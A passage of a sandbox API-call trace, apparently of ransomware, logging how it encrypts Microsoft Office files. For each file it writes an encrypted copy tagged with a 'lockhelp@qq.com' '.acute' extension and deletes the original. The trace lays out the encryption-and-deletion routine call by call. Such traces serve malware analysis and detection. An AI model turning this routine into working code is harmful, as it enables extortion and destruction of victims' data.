(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.892] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.892] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2522) returned 1 [0050.892] CloseHandle (hObject=0x170) returned 1 [0050.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0050.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.892] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0051.022] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2568) returned 1 [0051.022] CloseHandle (hObject=0x1ac) returned 1 [0051.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0051.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0051.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.023] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0051.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0051.598] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1941) returned 1 [0051.598] CloseHandle (hObject=0x1ac) returned 1 [0051.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0051.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0051.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0051.598] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0051.598] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0051.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0051.599] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5931a0) returned 1 [0051.599] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0051.599] ReadFile (in: hFile=0x1ac, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x795, lpOverlapped=0x0) returned 1 [0051.612] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x7a0, dwBufLen=0x7a0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x7a0) returned 1 [0051.612] WriteFile (in: hFile=0x19c, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x7a0, lpOverlapped=0x0) returned 1 [0051.613] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931e0) returned 1 [0051.613] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0051.613] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0051.613] CryptDestroyKey (hKey=0x5931e0) returned 1 [0051.613] WriteFile (in: hFile=0x19c, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0051.613] CryptDestroyKey (hKey=0x5931a0) returned 1 [0051.613] CloseHandle (hObject=0x1ac) returned 1 [0051.613] CloseHandle (hObject=0x19c) returned 1 [0051.615] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0051.616] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0051.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0051.617] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1349) returned 1 [0051.617] CloseHandle (hObject=0x19c) returned 1 [0051.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20 [0051.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0051.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0051.617] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0051.617] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0051.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0051.618] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5931a0) returned 1 [0051.618] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0051.618] ReadFile (in: hFile=0x19c, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x545, lpOverlapped=0x0) returned 1 [0051.698] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x550, dwBufLen=0x550 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x550) returned 1 [0051.698] WriteFile (in: hFile=0x1ac, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x550, lpOverlapped=0x0) returned 1 [0051.710] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931e0) returned 1 [0051.718] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0051.718] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0051.718] CryptDestroyKey (hKey=0x5931e0) returned 1 [0051.779] WriteFile (in: hFile=0x1ac, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0051.865] CryptDestroyKey (hKey=0x5931a0) returned 1 [0052.097] CloseHandle (hObject=0x19c) returned 1 [0052.097] CloseHandle (hObject=0x1ac) returned 1 [0052.098] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0052.099] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0052.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0052.145] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=819) returned 1 [0052.145] CloseHandle (hObject=0x1ac) returned 1 [0052.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0052.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0052.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0052.145] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0052.145] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0052.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0052.146] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5931a0) returned 1 [0052.146] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0052.146] ReadFile (in: hFile=0x1ac, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x333, lpOverlapped=0x0) returned 1 [0052.166] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x340, dwBufLen=0x340 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x340) returned 1 [0052.166] WriteFile (in: hFile=0x19c, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x340, lpOverlapped=0x0) returned 1 [0052.167] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931e0) returned 1 [0052.167] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0052.167] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x50, dwBufLen=0x50 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x50) returned 1 [0052.167] CryptDestroyKey (hKey=0x5931e0) returned 1 [0052.167] WriteFile (in: hFile=0x19c, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x102, lpOverlapped=0x0) returned 1 [0052.167] CryptDestroyKey (hKey=0x5931a0) returned 1 [0052.167] CloseHandle (hObject=0x1ac) returned 1 [0052.167] CloseHandle (hObject=0x19c) returned 1 [0052.168] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0052.169] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0052.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0052.171] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2624) returned 1 [0052.171] CloseHandle (hObject=0x19c) returned 1 [0052.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0052.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0052.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0052.171] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0052.171] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0052.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0052.171] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5931a0) returned 1 [0052.171] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0052.171] ReadFile (in: hFile=0x19c, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0xa40, lpOverlapped=0x0) returned 1 [0052.173] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0xa50, dwBufLen=0xa50 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0xa50) returned 1 [0052.173] WriteFile (in: hFile=0x1ac, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xa50, lpOverlapped=0x0) returned 1 [0052.174] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931e0) returned 1 [0052.174] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0052.174] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0052.174] CryptDestroyKey (hKey=0x5931e0) returned 1 [0052.174] WriteFile (in: hFile=0x1ac, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0052.175] CryptDestroyKey (hKey=0x5931a0) returned 1 [0052.175] CloseHandle (hObject=0x19c) returned 1 [0052.175] CloseHandle (hObject=0x1ac) returned 1 [0052.175] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0052.176] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0052.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0052.176] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1565) returned 1 [0052.176] CloseHandle (hObject=0x1ac) returned 1 [0052.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0052.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0052.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0052.177] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0052.177] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0052.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0052.177] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5931a0) returned 1 [0052.177] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0052.177] ReadFile (in: hFile=0x1ac, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x61d, lpOverlapped=0x0) returned 1 [0052.179] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x620, dwBufLen=0x620 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x620) returned 1 [0052.179] WriteFile (in: hFile=0x19c, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x620, 